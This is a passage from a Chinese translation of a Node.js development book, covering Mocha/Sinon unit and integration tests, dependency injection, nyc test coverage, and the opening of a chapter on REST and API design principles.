describe('and the content-length header is "0"', function () {
let resJsonReturnValue;
let returnedValue;
beforeEach(function () {
...
returnedValue = checkEmptyPayload(req, res, next);
});
...
it('should return whatever res.json() returns', function () {
assert.strictEqual(returnedValue, resJsonReturnValue);
});
...
});
通过执行yarn run test:unit
来运行单元测试,修复导致测试失败的任何错误,然后将单元测试提交到仓库:
$ git add -A && git commit -m "Add unit tests for checkEmptyPayload middleware"
测试所有中间件函数
现在,轮到你自己编写一些单元测试了。尝试遵循相同的方法来测试checkContentTypeIsJson
、checkContentTypeIsSet
和errorHandler
中间件函数。如有需要,请参考代码包。像往常一样,运行测试并提交你的代码!
一旦我们的所有中间件函数都经过了单元测试,我们将继续测试请求处理器和引擎。
单元测试请求处理器
首先,我们将src/handlers/users/create.js
模块移动到它自己的目录中。然后,我们将更正import
语句中指定的文件路径,使其指向正确的文件。最后,我们将在我们的模块旁边创建一个index.unit.test.js
文件来存放单元测试。
让我们来看看我们请求处理器模块中的createUser
函数。它具有以下结构:
import create from '../../../engines/users/create';
function createUser(req, res, db) {
create(req, db)
.then(onFulfilled, onRejected)
.catch(...)
}
首先,它将调用从src/engines/users/create/index.js
导入的create
函数。根据结果,它将在then
块内部调用onFulfilled
或onRejected
回调。
虽然我们的createUser
函数依赖于create
函数,但在编写单元测试时,我们的测试应该只测试相关的单元,而不是它的依赖项。因此,如果我们的测试结果依赖于create
函数,我们应该使用模拟对象来控制其行为。否则,我们的测试实际上将是一个集成测试。
模拟create
我们可以创建不同的模拟对象,它们返回不同的结果,每个模拟对象都模仿create
函数可能的返回值:
import { stub } from 'sinon';
import ValidationError from '../../../validators/errors/validation-error';
const createStubs = {
success: stub().resolves({ _id: 'foo'}),
validationError: stub().rejects(new ValidationError()),
otherError: stub().rejects(new Error()),
}
现在,如果我们调用createStubs.success()
,它将始终解析为{ _id: 'foo'}
对象;因此,我们可以使用这个模拟对象来测试传递给createUser
函数的req
对象是否有效。同样,我们可以使用createStubs.validationError()
来模拟一个情况,其中req
对象导致createUser
拒绝并抛出ValidationError
。
现在,我们知道如何存根create
函数,但我们如何在createUser
函数内部实际替换它?在测试createUser
函数时,我们可以在测试中更改的唯一变量是我们传递给函数的参数,而createUser
方法只接受三个参数:req
、res
和db
。
有两种方法可以实现这一点:依赖注入和猴子补丁。
依赖注入
依赖注入的想法是将每个依赖项都作为函数的参数。
目前,我们的createUser
函数依赖于其参数之外的实体;这包括create
函数和ValidationError
类。如果我们使用依赖注入,我们会修改我们的createUser
函数,使其具有以下结构:
function createUser(req, res, db, create, ValidationError) {
create(req)
.then(onFulfilled, onRejected)
.catch(...)
}
然后,我们就可以从我们的测试中注入以下依赖项:
...
import ValidationError from '../../../validators/errors/validation-error';
import createUser from '.';
const generateCreateStubs = {
success: () => stub().resolves({ _id: 'foo'})
}
describe('create', function () {
describe('When called with valid request object', function (done) {
...
createUser(req, res, db, generateCreateStubs.success(), ValidationError)
.then((result) => {
// Assertions here
})
})
})
猴子补丁
依赖注入的另一种方法是猴子补丁,它可以在运行时动态修改系统。在我们的例子中,我们可能想要用我们的存根函数替换create
函数,但仅在我们运行测试时。
猴子补丁库的实现通常很复杂,通常涉及将模块代码读入字符串,向字符串中注入自定义代码,然后加载它。因此,被猴子补丁修改的实体将按某种方式被修改。
有几个库允许我们在运行测试时应用猴子补丁;最受欢迎的库是rewire
(npmjs.com/package/rewire)。它还有一个名为babel-plugin-rewire
的 Babel 插件等价物(github.com/speedskater/babel-plugin-rewire)。
此插件将为正在“重连”的模块中的每个顶级文件作用域实体添加__set__
、__get__
和__with__
方法。现在,我们可以使用createUser
模块的__set__
方法来猴子补丁我们的create
函数,如下所示:
createUser.__set__('create', createUserStubs.success)
__set__
方法返回一个函数,我们可以使用它来将create
函数恢复到其原始状态。当你想使用create
的不同变体运行测试时,这很有用。在这种情况下,你只需在每个测试运行后简单地revert
创建函数,然后在下一次运行开始时再次补丁它。
依赖注入与猴子补丁
这两种方法都有其优缺点,所以让我们比较它们的差异,看看哪一种最适合我们的用例。
模块化
依赖注入的好处是尽可能地将每个模块解耦,因为模块没有预定义的依赖;每个依赖项都在运行时传递(注入)。这使得单元测试变得容易得多,因为我们可以用存根替换任何依赖项,使我们的单元测试真正成为单元测试。
可读性
使用依赖注入(dependency injection)时,每个依赖都必须是函数的参数。因此,如果模块有 20 个依赖项,它将需要 20 个参数。这可能会使模块难以阅读。
通常,你会有一个单一的根文件,其中每个依赖都被导入、实例化和注入;然后这些依赖会被传递到子函数,以及它们的子函数,依此类推。这意味着为了找到依赖的来源,开发者必须追踪从根函数到原始注入依赖的函数调用链。这可能是三四个函数调用,也可能是十几个。
一般而言,一个项目中抽象层的数量越多,开发者阅读代码就越困难,但使用依赖注入方法时尤其如此。
使用猴子补丁,模块函数的签名可以更加简洁。只有动态依赖会被包含在函数参数列表中;实用函数和静态依赖可以在文件顶部导入。
例如,createUser
函数的req
、res
和db
参数是动态的——req
和res
对每个请求都不同,而db
仅在启动时实例化。另一方面,create
函数和ValidationError
类是静态的——在运行代码之前,你知道它们的确切值。
因此,使用猴子补丁(monkey patching)可以提高我们应用程序代码的可读性,但代价是使我们的测试代码变得稍微复杂一些。
依赖第三方工具
依赖注入是一个简单的概念,实现它不需要任何第三方工具。另一方面,猴子补丁(monkey patching)难以实现,你通常会使用babel-plugin-rewire
或类似的库。这意味着我们的测试现在将不得不依赖于babel-plugin-rewire
包。
如果babel-plugin-rewire
不再维护,或者维护缓慢,这可能会成为一个问题。在撰写本书时,babel-plugin-rewire
插件仍然缺乏对 Babel 7 的支持。如果一个开发者正在使用babel-plugin-rewire
插件,他将无法升级他们的 Babel 版本,而对于已经使用 Babel 7 的开发者来说,他们无法进行猴子补丁,直到支持实现。
遵循依赖注入模式
从前面的讨论来看,依赖注入似乎是一个更好的选择。可读性不应该成为太大的问题,因为我们只有两层抽象——处理程序(handlers)和引擎(engines)。因此,让我们将我们的代码迁移到使用依赖注入模式。
首先,从src/handlers/users/create/index.js
中删除import
语句,并将createUser
函数的签名更改为包括create
引擎函数和ValidationError
类:
function createUser(req, res, db, create, ValidationError) { ... }
现在,我们需要将这些依赖项注入到处理器中。在 src/index.js
中,我们已经在使用 injectHandlerDependencies
函数将数据库客户端注入到处理器中,所以让我们修改它以同时注入相应的引擎函数和 ValidationError
类。
首先,让我们在 src/index.js
中导入所有依赖项:
import ValidationError from './validators/errors/validation-error';
import createUserHandler from './handlers/users/create';
import createUserEngine from './engines/users/create';
接下来,让我们创建一个处理器函数到引擎函数的映射,并将其称为 handlerToEngineMap
。我们将这个 handlerToEngineMap
函数传递给 injectHandlerDependencies
函数,这样它就知道要注入哪个引擎:
const handlerToEngineMap = new Map([
[createUserHandler, createUserEngine],
]);
我们正在使用 Map
对象,它在 ECMAScript 2015(ES6)中引入。Map
是一个键值存储,其中键和值可以是任何类型——原始类型、对象、数组或函数(后两者是特殊类型的对象)。这与对象字面量不同,其中键必须是字符串或 Symbol。在这里,我们将处理器函数作为键,将引擎函数作为值存储。
在 src/index.js
中剩下的所有事情就是将 handlerToEngineMap
和 ValidationError
添加到 injectHandlerDependencies
中:
app.post('/users', injectHandlerDependencies(createUserHandler, client, handlerToEngineMap, ValidationError));
最后,更新 injectHandlerDependencies
函数以将这些依赖项传递给处理器:
function injectHandlerDependencies(handler, db, handlerToEngineMap, ValidationError) {
const engine = handlerToEngineMap.get(handler);
return (req, res) => { handler(req, res, db, engine, ValidationError); };
}
我们在许多文件中做了很多修改,所以你应该再次运行我们所有的现有测试,以确保我们没有破坏任何东西。你可能还希望将这些更改提交到 Git 仓库:
$ git add -A && git commit -m "Implement dependency injection pattern"
承诺和 Mocha
现在,我们已经准备好回到我们的原始任务——为我们的创建用户请求处理器编写单元测试!你应该有足够的知识来自行实现处理器的单元测试,但我们在给出有关承诺的一些提示之前,想先给你一些提示。
如果我们正在测试的函数执行异步操作,没有保证异步操作会在我们的断言代码运行之前完成。例如,如果我们的 create
引擎函数实际上非常慢,如下所示:
function createUser() {
aVerySlowCreate()
.then((result) => {
res.status(201);
});
}
那么以下测试将失败:
describe("When create resolves with the new user's ID", function () {
beforeEach(function () {
createUser(req, res, db, create, ValidationError);
});
it('should call res.status() once', function () {
assert(res.status.calledOnce);
});
});
Mocha 可以通过两种方式处理异步代码——使用回调或承诺。由于我们通常会避免使用回调,让我们专注于与承诺一起工作。在 Mocha 中,如果我们返回一个承诺在先前的 beforeEach
块中,Mocha 将等待承诺解决后再运行相关的 describe
和 it
块。因此,在编写涉及异步操作的功能时,我们应该始终返回一个承诺。这不仅使函数更容易测试,还允许你在将来有需要时将多个承诺链接在一起。
因此,我们必须将我们的 createUser
函数更新为一个承诺:
function createUser(req, res, db, create, ValidationError) {
return create(req, db)
...
}
然后,确保所有的 beforeEach
块也返回一个承诺:
beforeEach(function () {
create = generateCreateStubs.success();
return createUser(req, res, db, create, ValidationError);
});
处理拒绝的承诺
然而,Mocha 的另一个限制是,你无法在钩子函数中返回一个拒绝的承诺。如果你这样做,Mocha 会认为测试失败了。在这种情况下,你应该将你期望失败的函数移动到it
块中,并在catch
块中进行任何断言:
it('should fail', function() {
createUser(...)
.catch(actualError => assert(actualError, expectedError))
});
完成单元测试
你现在对单元测试、Mocha 以及处理承诺有了足够的了解,可以完成创建用户处理器的单元测试。尝试自己实现它,只有在需要时才参考参考代码示例。
和往常一样,别忘了运行单元和端到端测试,以确保你没有引入任何回归,然后将更改提交到我们的仓库:
$ git add -A && git commit -m "Add unit tests for Create User request handler"
对我们的引擎进行单元测试
接下来,让我们测试我们的create
引擎函数。就像我们之前的createUser
请求处理器一样,src/engines/users/create/index.js
模块包含两个import
语句,这使得测试变得困难。因此,就像之前一样,我们必须将这些依赖项提取出来,并将它们重新导入到src/index.js
中:
import createUserValidator from './validators/users/create';
...
const handlerToValidatorMap = new Map([
[createUserHandler, createUserValidator],
]);
...
app.post('/users', injectHandlerDependencies(createUserHandler, client, handlerToEngineMap, handlerToValidatorMap, ValidationError));
然后,更新injectHandlerDependencies
函数,将验证器函数注入到处理器中:
function injectHandlerDependencies(
handler, db, handlerToEngineMap, handlerToValidatorMap, ValidationError,
) {
const engine = handlerToEngineMap.get(handler);
const validator = handlerToValidatorMap.get(handler);
return (req, res) => { handler(req, res, db, engine, validator, ValidationError); };
}
然后,在处理器内部,将验证器函数和ValidationError
类传递给引擎函数:
function createUser(req, res, db, create, validator, ValidationError) {
return create(req, db, validator, ValidationError)
...
}
最后,更新单元测试以适应这一变化。一旦所有测试通过,将这一更改提交到 Git:
$ git add -A && git commit -m "Implement dependency injection for engine"
一旦提交,让我们继续编写单元测试本身。只有两种情况需要测试——当验证器返回ValidationError
时,或者当它返回undefined
时。同样,因为我们不希望我们的单元测试依赖于验证器,所以我们将使用存根来模拟其功能。尝试自己实现它,并与我们的实现进行比较,如下所示:
import assert from 'assert';
import { stub } from 'sinon';
import ValidationError from '../../../validators/errors/validation-error';
import create from '.';
describe('User Create Engine', function () {
let req;
let db;
let validator;
const dbIndexResult = {};
beforeEach(function () {
req = {};
db = {
index: stub().resolves(dbIndexResult),
};
});
describe('When invoked and validator returns with undefined', function () {
let promise;
beforeEach(function () {
validator = stub().returns(undefined);
promise = create(req, db, validator, ValidationError);
return promise;
});
describe('should call the validator', function () {
it('once', function () {
assert(validator.calledOnce);
});
it('with req as the only argument', function () {
assert(validator.calledWithExactly(req));
});
});
it('should relay the promise returned by db.index()', function () {
promise.then(res => assert.strictEqual(res, dbIndexResult));
});
});
describe('When validator returns with an instance of ValidationError', function () {
it('should reject with the ValidationError returned from validator', function () {
const validationError = new ValidationError();
validator = stub().returns(validationError);
return create(req, db, validator, ValidationError)
.catch(err => assert.strictEqual(err, validationError));
});
});
});
和往常一样,运行测试并提交代码:
$ git add -A && git commit -m "Implement unit tests for Create User engine"
对我们的引擎进行集成测试
到目前为止,我们一直在用单元测试改造我们的代码,这些单元测试单独测试每个单元,独立于外部依赖。然而,了解不同的单元之间是否兼容也同样重要。这就是集成测试发挥作用的地方。所以,让我们为我们的用户创建引擎添加一些集成测试,以测试其与数据库的交互。
首先,让我们更新我们的 npm 脚本以包括一个test:integration
脚本。我们还将更新test:unit
npm 中的 glob 文件,使其更加具体,仅选择单元测试。最后,更新test
脚本,在单元测试之后运行集成测试:
"test": "yarn run test:unit && yarn run test:integration && yarn run test:e2e",
"test:unit": "mocha 'src/**/*.unit.test.js' --require @babel/register",
"test:integration": "dotenv -e envs/test.env -e envs/.env mocha -- src/**/*.integration.test.js' --require @babel/register",
dotenv mocha
部分将在加载所有环境变量后运行 Mocha。我们随后使用双横线(--
)来向我们的bash shell 指示这是dotenv
命令选项的结束;双横线之后的所有内容都将传递到mocha
命令中,就像之前一样。
你以与单元测试相同的方式编写集成测试,唯一的区别是,你不需要存根一切,而是向你要测试的单元提供真实参数。让我们再次看看我们创建函数的签名:
create(req, db, createUserValidator, ValidationError)
之前,我们使用了存根来模拟真实的 db
对象和 createUserValidator
函数。对于集成测试,你实际上会导入真实的验证函数并实例化一个真实的 Elasticsearch JavaScript 客户端。再次尝试自己实现集成测试,并在此处查看我们的解决方案:
import assert from 'assert';
import elasticsearch from 'elasticsearch';
import ValidationError from '../../../validators/errors/validation-error';
import createUserValidator from '../../../validators/users/create';
import create from '.';
const db = new elasticsearch.Client({
host: `${process.env.ELASTICSEARCH_PROTOCOL}://${process.env.ELASTICSEARCH_HOSTNAME}:${process.env.ELASTICSEARCH_PORT}`,
});
describe('User Create Engine', function () {
describe('When invoked with invalid req', function () {
it('should return promise that rejects with an instance of ValidationError', function () {
const req = {};
create(req, db, createUserValidator, ValidationError)
.catch(err => assert(err instanceof ValidationError));
});
});
describe('When invoked with valid req', function () {
it('should return a success object containing the user ID', function () {
const req = {
body: {
email: 'e@ma.il',
password: 'password',
profile: {},
},
};
create(req, db, createUserValidator, ValidationError)
.then((result) => {
assert.equal(result.result, 'created');
assert.equal(typeof result._id, 'string');
});
});
});
});
再次运行所有测试以确保它们全部通过,然后将这些更改提交到仓库:
$ git add -A && git commit -m "Add integration tests for Create User engine"
添加测试覆盖率
在我们的 TDD 流程开始时,我们首先编写了端到端测试,并使用它们来驱动开发。然而,对于单元和集成测试,我们实际上将它们重新整合到我们的实现中。因此,我们很可能错过了我们应该测试的一些场景。
为了解决这个问题,我们可以召唤测试覆盖率工具的帮助。测试覆盖率工具将运行你的测试并记录所有已执行的代码行;然后,它将与此源文件中的总行数进行比较,以返回一个覆盖率百分比。例如,如果我的模块包含 100 行代码,而我的测试只运行了 85 行模块代码,那么我的测试覆盖率是 85%。这可能意味着我有一些死代码,或者我错过了某些用例。一旦我知道我的某些测试没有覆盖所有代码,我就可以回过头来添加更多的测试用例。
JavaScript 的事实上的测试覆盖率框架是 istanbul
(github.com/gotwarlost/istanbul)。我们将通过其命令行界面 nyc
(github.com/istanbuljs/nyc) 使用 istanbul。所以,让我们安装 nyc
包:
$ yarn add nyc --dev
现在,将以下 npm 脚本添加到 package.json
:
"test:unit:coverage": "nyc --reporter=html --reporter=text yarn run test:unit",
现在,我们可以运行 yarn run test:unit:coverage
来获取我们的代码覆盖率报告。因为我们指定了 --reporter=text
选项,nyc
将以文本表格格式将结果打印到标准输出:
--reporter=html
标志还会指示 nyc
创建一个 HTML 报告,该报告存储在项目根目录下的新 coverage
目录中。
阅读测试覆盖率报告
在 coverage
目录中,你应该找到一个 index.html
文件;在网页浏览器中打开它以继续:
在顶部,你可以看到不同的测试覆盖率百分比。以下是它们的含义:
-
行数:已运行的代码行数占总代码行数(LoC)的百分比。
-
语句:执行的总语句的百分比。如果你总是为每条语句使用单独的一行(正如在我们的项目中那样),那么语句和行将具有相同的值。如果你每行有多个语句(例如,
if (condition) { bar = 1; }
),那么语句将多于行,语句覆盖率可能会更低。语句覆盖率比行覆盖率更有用;行覆盖率存在是为了与以行为单位的覆盖率工具(如lcov
)兼容。请注意,您可以通过启用max-statements-per-line
规则来使用 ESLint 强制每行只有一个语句。 -
分支:将我们的代码想象成一组路径——如果满足某些条件,程序的执行将遵循某个路径;当使用不同的条件集时,执行将遵循不同的路径。这些路径在条件语句中分化成分支。分支覆盖率表示这些分支中有多少被覆盖。
-
函数:被调用的总函数的百分比。
我们可以看到,我们的整体语句覆盖率是 91.84%,这已经相当不错了。然而,我们的handlers/users/create/index.js
文件似乎只有 66.67% 的覆盖率。让我们调查一下原因!
点击 handlers/users/create 链接,直到到达显示文件源代码的屏幕:
左侧的绿色条表示该行已被覆盖。此外,nyc
将给出该行在整个单元测试套件运行中被执行次数的计数。例如,前面的res.status(201)
行已被执行了 8 次。
红色条表示该行尚未执行。这可能意味着以下几种情况之一:
-
我们测试不足,没有测试所有可能的情况
-
我们的项目中有不可达的代码
任何其他覆盖率缺口都在代码本身中以黑色框内的字母表示;当您悬停在它上面时,它将提供更详细的解释。在我们的情况下,有一个字母 E,代表“未执行的 else 路径”,意味着没有测试覆盖到create
函数拒绝时返回的不是ValidationError
实例的情况。
在我们的情况下,这实际上突显了我们代码中的一个错误。在我们的then
块的onRejected
函数内部,如果错误不是ValidationError
的实例,我们将返回undefined
。这将实际上返回一个已解决的承诺,因此catch
块将永远不会捕获到错误。此外,我们也没有测试create
函数返回通用错误的情况。因此,让我们通过修复这两个问题来提高这个模块的测试覆盖率。
在我们这样做之前,让我们提交现有的更改:
$ git add -A && git commit -m "Implement test coverage for unit tests"
提高测试覆盖率
首先,在 /home/dli/.d4nyll/.beja/final/code/9/src/handlers/users/create/index.js
文件中,将 return undefined;
语句更改为向下传递错误到承诺链:
return res.json({ message: err.message });
}
throw err;
}).catch(() => {
res.status(500);
然后,向 src/handlers/users/create/index.unit.test.js
添加单元测试以覆盖这个遗漏的场景:
const generateCreateStubs = {
success: () => stub().resolves({ _id: USER_ID }),
genericError: () => stub().rejects(new Error()),
validationError: () => stub().rejects(new ValidationError(VALIDATION_ERROR_MESSAGE)),
};
...
describe('createUser', function () {
...
describe('When create rejects with an instance of Error', function () {
beforeEach(function () {
create = generateCreateStubs.genericError();
return createUser(req, res, db, create, validator, ValidationError);
});
describe('should call res.status()', function () {
it('once', function () {
assert(res.status.calledOnce);
});
it('with the argument 500', function () {
assert(res.status.calledWithExactly(500));
});
});
describe('should call res.set()', function () {
it('once', function () {
assert(res.set.calledOnce);
});
it('with the arguments "Content-Type" and "application/json"', function () {
assert(res.set.calledWithExactly('Content-Type', 'application/json'));
});
});
describe('should call res.json()', function () {
it('once', function () {
assert(res.json.calledOnce);
});
it('with a validation error object', function () {
assert(res.json.calledWithExactly({ message: 'Internal Server Error' }));
});
});
});
});
现在,当我们运行 test:unit:coverage
脚本并再次查看报告时,你会很高兴地看到覆盖率现在是 100%!
现在,将这个重构步骤提交到你的仓库中:
$ git add -A && git commit -m "Test catch block in createUser"
代码覆盖率与测试质量
如前文所述,代码覆盖率工具可以帮助你发现代码中的错误。然而,它们应该仅作为诊断工具使用;你不应该将追求 100%代码覆盖率作为一个目标本身。
这是因为代码覆盖率与测试质量无关。你可以定义覆盖 100%代码的测试用例,但如果断言是错误的,或者测试中存在错误,那么完美的覆盖率毫无意义。例如,以下测试块总是会通过,即使其中一个断言表明它应该失败:
it('This will always pass', function () {
it('Even though you may expect it to fail', function () {
assert(true, false);
});
});
这强调了代码覆盖率不能检测到坏测试的观点。相反,你应该专注于编写有意义的测试,这样当出现问题时,它们实际上会显示出错误;如果你这样做,测试覆盖率自然会保持高,你可以使用报告来改进你在测试中遗漏的内容。
你不必总是测试一切
在我们更新了单元测试以覆盖遗漏的 catch
块之后,我们的语句覆盖率现在是 100%。然而,如果我们检查我们的代码,我们会发现还有两个模块缺少单元测试:
-
validate
:位于src/validators/users/create.js
的用户验证函数 -
injectHandlerDependencies
:位于src/utils/inject-handler-dependencies.js
的实用函数
它们没有出现在覆盖率报告中,因为单元测试从未导入过这些文件。但我们是否需要为每个单元编写单元测试呢?为了回答这个问题,你应该问自己——“我对这段代码的工作有信心吗?”如果答案是“是”,那么编写额外的测试可能是不必要的。
单元的代码覆盖率不应仅基于单元测试来分析,因为可能还有使用该单元的集成和端到端测试。如果这些其他测试覆盖了单元测试没有覆盖的内容,并且测试通过,那么这应该让你有信心你的单元按预期工作。
因此,一个更有用的指标是分析所有测试的代码覆盖率,而不仅仅是单元测试。
统一测试覆盖率
因此,让我们添加集成和端到端测试的覆盖率脚本:
"test:coverage": "nyc --reporter=html --reporter=text yarn run test",
"test:integration:coverage": "nyc --reporter=html --reporter=text yarn run test:integration",
"test:e2e:coverage": "nyc --reporter=html --reporter=text yarn run test:e2e",
然而,当我们运行 test:e2e:coverage
脚本时,覆盖率报告显示的是 dist/
目录下编译文件的覆盖率结果,而不是 src/
目录下的源文件。这是因为我们的端到端测试脚本 (scripts/e2e.test.sh
) 在运行之前会执行 serve
npm 脚本,将我们的代码进行转换。为了解决这个问题,让我们添加一个新的 test:serve
脚本,该脚本使用 babel-node
直接运行我们的代码:
"test:serve": "dotenv -e envs/test.env -e envs/.env babel-node src/index.js",
然后,更新 scripts/e2e.test.sh
脚本,使用这个修改后的脚本而不是 serve
:
yarn run test:serve &
现在,当我们再次运行 test:coverage
或 test:e2e:coverage
脚本时,它将显示 src/
目录下文件的覆盖率,而不是 dist/
目录下的文件。
忽略文件
然而,你可能也注意到我们的步骤定义出现在了覆盖率报告中。Istanbul 还不够智能,无法判断我们的步骤定义文件是测试的一部分,而不是代码;因此,我们需要手动指导 Istanbul 忽略它们。我们可以通过添加一个 .nycrc
文件并指定 exclude
选项来实现:
{
"exclude": [
"coverage/**",
"packages/*/test/**",
"test/**",
"test{,-*}.js",
"**/*{.,-}test.js"
,"**/__tests__/**",
"**/node_modules/**",
"dist/",
"spec/",
"src/**/*.test.js"
]
}
现在,当我们运行 test:coverage
脚本时,步骤定义文件被排除在结果之外。剩下要做的就是提交我们的代码!
$ git add -A && git commit -m "Implement coverage for all tests"
完成工作
我们现在已经模块化了 Create User 功能的代码,并对其进行了测试。因此,现在是合并我们当前的 create-user/refactor-modules
分支到 create-user/main
分支的好时机。由于这也完成了 Create User 功能,我们应该将 create-user/main
功能分支合并回 dev
分支:
$ git checkout create-user/main
$ git merge --no-ff create-user/refactor-modules
$ git checkout dev
$ git merge --no-ff create-user/main
摘要
在前三个章节中,我们向您展示了如何编写端到端测试,使用它们来推动您功能的开发,尽可能地对代码进行模块化,然后通过单元测试和集成测试覆盖模块来增加您对代码的信心。
在下一章中,您将需要自己实现剩余的功能。我们将概述一些您应该遵循的 API 设计原则,您始终可以参考我们的示例代码包,但下一章是您真正独立练习这个过程的时刻。
“学习是一个积极的过程。我们通过实践来学习。只有被使用的知识才能留在你的脑海中。”
- 戴尔·卡耐基,著有《如何赢得朋友与影响他人》一书
第九章:设计我们的 API
在过去的几章中,我们遵循 TDD 方法来实现我们的创建用户端点。然而,用户目录应用程序需要做更多的事情:检索、编辑、删除和搜索用户。在本章中,我们希望你们练习所学到的知识,并自己实现这些端点。
为了帮助你设计一个易于使用的 API,我们将概述一些 API 设计原则。具体来说,我们将:
-
讨论 REST 是什么,以及它不是什么
-
学习如何设计我们的 API 以使其一致、快速、直观和简单
-
理解不同类型的致性:通用、本地、跨域、领域和永久
RESTful 的含义
当你阅读关于 API 的内容时,你无疑会遇到SOAP、RCP、REST等术语,如今还有GRPC和GraphQL。在撰写本文时,现状是所有 API 都应该“RESTful”,任何非 RESTful 的 API 都被认为是不够好的。这是一个常见的误解,它源于许多人实际上对 REST 的理解有误。因此,我们从这个章节开始,检查 REST 是什么,它不是什么,为什么它可能并不总是实用的,以及为什么我们的 API 将不会是 RESTful 的。
什么是 REST?
REST 代表表征状态转移,是一组架构风格,它规定了构建你的 API 的方式和模式。REST 并不是什么新东西;你可能已经非常熟悉它,因为这就是万维网的结构,所以不要让术语让你感到陌生。
REST 有六个要求:
-
客户端-服务器:定义了客户端和服务器之间清晰的关注点分离(SoC)。客户端应提供用户界面,而服务器提供数据。
-
无状态:服务器不应持有关于客户端的任何临时信息。换句话说,服务器不应持久化客户端会话;如果需要持久化会话,必须在客户端完成。到达服务器的任何请求都必须包含处理该请求所需的所有信息。
这并不是说服务器不能存储任何状态;服务器仍然可以在数据库中持久化资源状态。但服务器不应在内存中存储临时的应用程序状态。
这个约束的重要性将在第十八章,“使用 Kubernetes 的鲁棒基础设施”中变得明显,当我们把我们的应用程序作为负载均衡服务器的集群部署时。由于是无状态的,请求可以由集群中的任何服务器来满足,服务器可以重启而不会丢失信息。正是这个约束使得我们的应用程序具有可扩展性。
然而,这个约束确实有其缺点,因为客户端必须反复在每个请求中发送认证信息(例如,JSON Web Token,或JWT),这会增加使用的带宽。
-
可缓存性:如果给定相同的请求,响应将是相同的,那么该响应应该由客户端和/或任何中间件缓存。RESTful 架构要求响应消息必须包含指示是否应该缓存响应或不应缓存,以及如果应该缓存,则缓存多长时间的指示。
此约束可能有益,因为它有助于减少带宽使用,并且可以减少服务器负载,使其能够处理更多请求。
-
分层系统:许多应用程序,尤其是 Node.js 应用程序,由一个网络服务器反向代理(例如,NGINX)。这意味着在请求到达我们的应用程序之前,它可能通过由网络服务器(例如,HAProxy)、负载均衡器(例如,Varnish)和/或缓存服务器(例如,Varnish)组成的层。
分层系统约束规定客户端不应了解这些层;用简单的话说,客户端不需要关心服务器的实现。
-
按需代码:一个可选约束,允许服务器返回客户端执行的代码。例如,服务器可能发送回自定义 JavaScript 代码、Java 小程序或Flash应用程序。这可以被视为客户端-服务器约束的扩展,因为它确保客户端不需要实现针对该服务器的特定代码,否则这将耦合客户端和服务器。
-
统一接口:一个接口是用于在两个组件之间交换信息的共享边界。接口很重要,因为它将服务器与客户端解耦;只要两者都遵守相同的接口,它们就可以独立开发。
统一接口约束规定了该接口应该如何构建的规则,并且进一步细分为四个子约束(也称为接口约束):
-
资源的识别:存储在服务器上的数据单元称为资源。资源是一个抽象实体,例如人或产品。此约束要求我们的 API 为每个资源分配一个标识符。否则,客户端将无法与之交互。
当使用 HTTP 中的 REST 时,此约束通过使用统一资源定位器或URLs得到满足。例如,产品#58 应通过 URL
api.myapp.com/users/58/
访问。 -
通过表示形式操作资源:您可以使用不同的格式表示资源,例如 XML 或 JSON。这些都是同一资源的不同表示。
如果客户端希望以某种方式操作资源,此约束要求客户端发送资源所需状态的完整或部分表示。
作为这一点的扩展,服务器还应向客户端指示它愿意接受哪些表示形式,以及它正在发送回哪些表示形式。当使用 HTTP 进行 REST 时,这是通过
Accept
和Content-Type
头部分别完成的。 -
自描述消息:服务器的响应应包含客户端正确处理所需的所有信息。
-
超媒体作为应用程序状态引擎(HATEOAS):这要求服务器响应包括客户端在收到响应后可以采取的操作列表。
-
为了将“RESTful”标签应用于一个 API,它必须遵守除了代码按需(这是可选的)之外的所有约束。
REST 不是什么
在我们讨论我们应该遵循哪些 REST 约束以及哪些不应该遵循之前,让我们强调一个非常重要的区别:REST 是一种架构风格,并不强加低级实现细节。
REST 是一套通用的规则/模式,你可以将其应用于任何 API。我们通常用它来构建 HTTP API,因为 HTTP 是万维网的协议;然而,HTTP 协议及其动词与 REST 没有任何关联。
话虽如此,REST 规范的作者 Roy Fielding 也是 HTTP/1.1 规范的首席架构师,因此 REST 风格非常适合 HTTP 实现。
我的 API 应该是 RESTful 的吗?
在上一节中,我提到我们的 API 将不是RESTful;让我解释一下原因。虽然 REST 的几乎所有约束对现代 API 都有意义,但 HATEOAS 却没有。
Roy Fielding 在他的博士论文《架构风格和网络软件架构设计》中概述了 REST 约束,该论文的标题为Architectural Styles and the Design of Network-based Software Architectures,您可以在www.ics.uci.edu/~fielding/pubs/dissertation/top.htm找到。这是在 2000 年,在像 Yahoo!、Lycos、Infoseek、AltaVista、Ask Jeeves 和 Google 这样的搜索引擎变得突出之前。当时 HATEOAS 约束是有意义的,因为它允许网站访客使用链接列表从任何一页导航到任何其他页面。
然而,HATEOAS 约束对于 API 来说意义不大。今天想要使用我们的 API 的开发者可能会参考我们项目网站上的 API 文档,而不是从服务器响应中推断出来。他们也可能将 URL 硬编码到他们的应用程序代码中,而不是从服务器提供的链接中获取它们。
换句话说,HATEOAS 对于人类用户是有意义的,但对于代码来说并不那么好。事实上,严格遵循 HATEOAS 约束意味着我们的响应必须包含对应用程序无用的信息。这将增加网络延迟,而不会提供任何实质性的好处。
因此,我们的 API 将按照设计不遵守 HATEOAS 约束。因此,我们不能称我们的 API 为 RESTful。
这可能会令人困惑,因为许多声称是 RESTful 的 API 实际上并不是(你使用过多少 API 实际上会在每次请求中返回端点列表?我猜没有)。我们应该吸取的教训是,我们应该将每个 REST 约束与我们的 API 进行分析,应用那些有意义的,但也要理解 API 不一定要是 RESTful 才能是“好”的。
设计我们的 API
应用程序编程接口,或 API,是最终用户与我们应用程序交互的接口。为了使 API 工作,客户端和 API 服务器必须就某种共同约定的形式或合同达成一致;对于特定类型的请求,客户端可以期望 API 以特定类型的响应进行回复。但是,为了有一个“好”的 API,这个合同也必须是一致的、直观的,并且简单。现在,让我们逐个解决每个标准。
一致性
一致性原则在 API 设计中非常重要。Arnaud Lauret,书籍《日常 API 设计》的作者,在他的博客文章《API 设计的四个一致性层级》(restlet.com/company/blog/2017/05/18/the-four-levels-of-consistency-in-api-design/)中优雅地概述了四种不同类型的一致性,我们在这里进行了总结:
-
共同: 与世界保持一致
-
局部: 在同一 API 内保持一致
-
横切性: 同一组织下的不同 API 保持一致性
-
领域: 与特定领域保持一致
我已经向这个列表增加了一个条目——持久一致性——或跨时间的一致性。
让我们逐一检查每个。
共同一致性
如 Lauret 所解释,共同的共识是“与世界保持一致”。这意味着我们的 API 应该符合已建立的和/或权威的标准;如果没有,则符合社区共识。
